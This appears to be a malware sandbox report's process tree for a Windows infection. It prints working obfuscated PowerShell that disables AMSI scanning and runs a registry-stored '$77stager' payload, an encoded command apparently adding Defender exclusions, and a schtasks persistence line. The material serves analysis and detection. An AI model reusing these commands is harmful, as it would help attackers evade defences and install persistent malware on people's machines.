The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:600
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1020
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{dfc308e9-aa8e-4d63-aa6a-c3668dfbf87e}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1048
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{2ad1b976-44ef-4644-8bca-0ee4f708a3cf}2⤵PID:4284
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:676
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:956
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:408
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1036
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1136
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1152
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1160
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1168 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2796
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:XDnmLBexBtad{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$WQTicWdrecJDyK,[Parameter(Position=1)][Type]$kcOOgEUIPP)$whlKiWFmrFv=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+'c'+[Char](116)+'e'+[Char](100)+''+'D'+''+'e'+''+'l'+'e'+'g'+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+'M'+''+[Char](101)+''+[Char](109)+'o'+[Char](114)+'y'+[Char](77)+''+'o'+'d'+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+'D'+''+'e'+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+'t'+''+'e'+''+[Char](84)+''+[Char](121)+''+[Char](112)+'e','C'+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+','+[Char](80)+''+[Char](117)+'bl'+[Char](105)+''+'c'+''+','+'Se'+'a'+'le'+[Char](100)+''+','+''+'A'+''+[Char](110)+''+[Char](115)+''+[Char](105)+'C'+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+'A'+[Char](117)+''+[Char](116)+'o'+[Char](67)+'l'+[Char](97)+'ss',[MulticastDelegate]);$whlKiWFmrFv.DefineConstructor(''+[Char](82)+'T'+[Char](83)+'pe'+[Char](99)+''+'i'+''+[Char](97)+''+'l'+''+[Char](78)+''+'a'+''+'m'+''+'e'+''+[Char](44)+''+[Char](72)+'id'+'e'+''+[Char](66)+''+'y'+''+[Char](83)+'ig'+[Char](44)+'P'+[Char](117)+''+[Char](98)+'l'+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$WQTicWdrecJDyK).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+'ti'+'m'+''+[Char](101)+''+[Char](44)+''+'M'+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');$whlKiWFmrFv.DefineMethod('Inv'+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+'Hi'+[Char](100)+''+[Char](101)+'B'+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+'Ne'+[Char](119)+''+[Char](83)+''+'l'+''+'o'+''+[Char](116)+','+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+'',$kcOOgEUIPP,$WQTicWdrecJDyK).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+'ti'+[Char](109)+''+[Char](101)+','+'M'+''+'a'+'n'+[Char](97)+''+[Char](103)+'ed');Write-Output $whlKiWFmrFv.CreateType();}$aLJBwNvNCLAGu=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+'s'+'t'+[Char](101)+''+'m'+'.'+[Char](100)+''+'l'+'l')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+''+[Char](114)+''+'o'+''+[Char](115)+''+[Char](111)+''+'f'+''+'t'+''+'.'+''+[Char](87)+'i'+[Char](110)+'32'+[Char](46)+''+[Char](85)+'n'+[Char](115)+''+[Char](97)+'f'+'e'+''+[Char](78)+''+'a'+'t'+[Char](105)+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+'d'+''+[Char](115)+'');$ZntrQcrqxrggMt=$aLJBwNvNCLAGu.GetMethod('G'+[Char](101)+'t'+[Char](80)+'r'+[Char](111)+''+[Char](99)+''+[Char](65)+''+[Char](100)+'d'+'r'+'e'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('P'+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+'t'+[Char](97)+'ti'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$IGaFROGjJiiIOWHkIiq=XDnmLBexBtad @([String])([IntPtr]);$KUPQNFNTnXzGxBdWKAqvxI=XDnmLBexBtad @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$oyfhBtVsCWA=$aLJBwNvNCLAGu.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+'M'+'o'+[Char](100)+''+'u'+''+[Char](108)+''+'e'+''+[Char](72)+''+'a'+''+[Char](110)+''+'d'+'l'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+'r'+'n'+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$VFEOBQDaIHkZdK=$ZntrQcrqxrggMt.Invoke($Null,@([Object]$oyfhBtVsCWA,[Object](''+'L'+'oadL'+[Char](105)+''+[Char](98)+'r'+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$vdOtrSchBOLueNIlM=$ZntrQcrqxrggMt.Invoke($Null,@([Object]$oyfhBtVsCWA,[Object]('V'+'i'+''+[Char](114)+''+'t'+''+[Char](117)+''+'a'+''+'l'+''+[Char](80)+'ro'+[Char](116)+'e'+[Char](99)+''+[Char](116)+'')));$ywRRDUS=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VFEOBQDaIHkZdK,$IGaFROGjJiiIOWHkIiq).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+'i'+[Char](46)+'d'+'l'+''+'l'+'');$EJuqAOXozmSAunlrO=$ZntrQcrqxrggMt.Invoke($Null,@([Object]$ywRRDUS,[Object]('A'+[Char](109)+''+'s'+''+'i'+''+'S'+'c'+[Char](97)+''+[Char](110)+''+[Char](66)+''+'u'+'f'+[Char](102)+''+'e'+''+[Char](114)+'')));$IVVFpWjQAQ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vdOtrSchBOLueNIlM,$KUPQNFNTnXzGxBdWKAqvxI).Invoke($EJuqAOXozmSAunlrO,[uint32]8,4,[ref]$IVVFpWjQAQ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$EJuqAOXozmSAunlrO,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($vdOtrSchBOLueNIlM,$KUPQNFNTnXzGxBdWKAqvxI).Invoke($EJuqAOXozmSAunlrO,[uint32]8,0x20,[ref]$IVVFpWjQAQ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'OF'+[Char](84)+''+'W'+''+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+'$'+''+'7'+''+[Char](55)+''+'s'+''+'t'+''+'a'+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3668
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVwBhAGkAdABIAGEAbgBkAGwAZQBcAFQAeQBwAGUASQBkAC4AZQB4AGUALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAgAC0ARgBvAHIAYwBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVwBhAGkAdABIAGEAbgBkAGwAZQBcAFQAeQBwAGUASQBkAC4AZQB4AGUA2⤵
- Command and Scripting Interpreter: PowerShell
PID:2388 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4400
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:XlmfBrNAMeix{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$SNjidkBtDfuTNc,[Parameter(Position=1)][Type]$yqDjAEzNpc)$XfDRZmPTcxA=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+'f'+'l'+''+[Char](101)+''+'c'+''+[Char](116)+''+[Char](101)+'d'+[Char](68)+'e'+[Char](108)+'e'+'g'+''+'a'+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+[Char](77)+''+[Char](101)+''+[Char](109)+'ory'+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+'',$False).DefineType('M'+[Char](121)+'D'+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+'e'+[Char](84)+''+[Char](121)+''+[Char](112)+''+'e'+'','C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+','+[Char](80)+''+'u'+''+'b'+'l'+'i'+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](101)+'al'+'e'+''+[Char](100)+''+[Char](44)+'A'+[Char](110)+''+'s'+''+[Char](105)+''+'C'+''+'l'+''+'a'+''+'s'+'s,A'+[Char](117)+''+'t'+''+'o'+''+'C'+''+[Char](108)+'ass',[MulticastDelegate]);$XfDRZmPTcxA.DefineConstructor(''+[Char](82)+'T'+'S'+''+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+[Char](97)+'lN'+'a'+'m'+'e'+''+','+''+'H'+''+'i'+''+[Char](100)+'e'+'B'+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+'Pu'+'b'+''+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$SNjidkBtDfuTNc).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+'e'+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+'g'+''+'e'+''+'d'+'');$XfDRZmPTcxA.DefineMethod(''+[Char](73)+'nv'+'o'+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+'u'+''+[Char](98)+'l'+[Char](105)+''+'c'+''+[Char](44)+''+[Char](72)+'ide'+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+'N'+''+'e'+''+[Char](119)+''+'S'+''+[Char](108)+'ot'+','+''+[Char](86)+''+[Char](105)+''+[Char](114)+'t'+[Char](117)+'a'+'l'+'',$yqDjAEzNpc,$SNjidkBtDfuTNc).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+''+'t'+''+[Char](105)+''+'m'+''+[Char](101)+',M'+[Char](97)+''+[Char](110)+'a'+'g'+''+[Char](101)+'d');Write-Output $XfDRZmPTcxA.CreateType();}$XkjyhlnmvZcto=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+'y'+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+'dl'+[Char](108)+'')}).GetType(''+'M'+''+'i'+''+'c'+''+[Char](114)+''+'o'+''+[Char](115)+'o'+[Char](102)+''+'t'+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+'n'+''+[Char](51)+''+'2'+''+[Char](46)+''+[Char](85)+''+'n'+''+[Char](115)+'a'+[Char](102)+'e'+[Char](78)+''+[Char](97)+''+[Char](116)+'i'+[Char](118)+''+'e'+'M'+[Char](101)+''+'t'+''+'h'+''+[Char](111)+''+'d'+''+'s'+'');$EpzDXRqCELhXrA=$XkjyhlnmvZcto.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+'P'+[Char](114)+''+[Char](111)+''+[Char](99)+''+'A'+''+[Char](100)+'d'+[Char](114)+''+'e'+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags]('P'+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+''+','+''+[Char](83)+''+[Char](116)+'a'+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ZeogvFGyrXABwVDLnRK=XlmfBrNAMeix @([String])([IntPtr]);$sbexbtkLDKbngDGlOTUuTo=XlmfBrNAMeix @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$OgTXKVptbqk=$XkjyhlnmvZcto.GetMethod(''+'G'+''+[Char](101)+'t'+[Char](77)+'o'+'d'+''+'u'+''+'l'+'eH'+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+'n'+[Char](101)+''+[Char](108)+''+[Char](51)+'2.dl'+'l'+'')));$GdiLaxwnsTbmbP=$EpzDXRqCELhXrA.Invoke($Null,@([Object]$OgTXKVptbqk,[Object](''+[Char](76)+''+[Char](111)+'a'+'d'+''+'L'+''+'i'+'b'+'r'+''+'a'+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$hovSaUtFcjgwgQmKt=$EpzDXRqCELhXrA.Invoke($Null,@([Object]$OgTXKVptbqk,[Object](''+'V'+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+'o'+''+[Char](116)+''+[Char](101)+''+'c'+'t')));$YmZHJlz=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GdiLaxwnsTbmbP,$ZeogvFGyrXABwVDLnRK).Invoke(''+'a'+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'');$cJyGVpdaKYsxWDnty=$EpzDXRqCELhXrA.Invoke($Null,@([Object]$YmZHJlz,[Object](''+'A'+''+[Char](109)+''+[Char](115)+'iS'+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+'uf'+'f'+'er')));$bPQcDRLoPP=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hovSaUtFcjgwgQmKt,$sbexbtkLDKbngDGlOTUuTo).Invoke($cJyGVpdaKYsxWDnty,[uint32]8,4,[ref]$bPQcDRLoPP);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$cJyGVpdaKYsxWDnty,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hovSaUtFcjgwgQmKt,$sbexbtkLDKbngDGlOTUuTo).Invoke($cJyGVpdaKYsxWDnty,[uint32]8,0x20,[ref]$bPQcDRLoPP);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+'T'+[Char](87)+''+[Char](65)+'RE').GetValue('$7'+'7'+''+[Char](115)+''+[Char](116)+'ag'+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
PID:3532 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4724
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C:\Users\Admin\AppData\Roaming\WaitHandle\TypeId.exeC:\Users\Admin\AppData\Roaming\WaitHandle\TypeId.exe2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1820 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe3⤵PID:220
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1244
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1252
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1340
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1416
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2636
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1456
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1616
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1624
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1640
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1732
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1752
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1824
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1940
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1992
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:2004
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2016
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1568
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1872
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2096
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2212
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2380
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2492
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2500
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2648
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2712
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2772
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2804
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2832
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2840
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2932
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3076
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3448
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
PID:3524 -
C:\Users\Admin\AppData\Local\Temp\59d3bc9ca446bf4fcce3a93cdbce134a.exe"C:\Users\Admin\AppData\Local\Temp\59d3bc9ca446bf4fcce3a93cdbce134a.exe"2⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2468 -
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1404
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C:\Users\Admin\AppData\Local\Temp\$77svchost.exe"C:\Users\Admin\AppData\Local\Temp\$77svchost.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5032 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "WinUpdate" /tr '"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"' & exit4⤵
- System Location Discovery: System Language Discovery
PID:1280 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "WinUpdate" /tr '"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"'5⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:2296
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpD2FF.tmp.bat""4⤵
- System Location Discovery: System Language Discovery
PID:4772 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:2540
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C:\Windows\SysWOW64\timeout.exetimeout 35⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
PID:3404
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C:\Users\Admin\AppData\Roaming\WinUpdate.exe"C:\Users\Admin\AppData\Roaming\WinUpdate.exe"5⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:4332 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\kuzvch.exe"' & exit6⤵
- System Location Discovery: System Language Discovery
PID:4408 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵PID:2124
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\kuzvch.exe"'7⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
PID:3916 -
C:\Users\Admin\AppData\Local\Temp\kuzvch.exe"C:\Users\Admin\AppData\Local\Temp\kuzvch.exe"8⤵
- Executes dropped EXE
PID:2364
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\qijzoj.exe"' & exit6⤵
- System Location Discovery: System Language Discovery
PID:3160 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵PID:1544
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\qijzoj.exe"'7⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
PID:2348 -
C:\Users\Admin\AppData\Local\Temp\qijzoj.exe"C:\Users\Admin\AppData\Local\Temp\qijzoj.exe"8⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1876 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV19⤵PID:2408
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\zgnutm.exe"' & exit6⤵
- System Location Discovery: System Language Discovery
PID:4884 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵PID:2876
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\zgnutm.exe"'7⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
PID:3464 -
C:\Users\Admin\AppData\Local\Temp\zgnutm.exe"C:\Users\Admin\AppData\Local\Temp\zgnutm.exe"8⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4552
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3656
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3840
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3996
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3652
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:3752
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:532
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:1472
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:1884
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:5004
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:2292
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:964
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
- Drops file in System32 directory
PID:4048
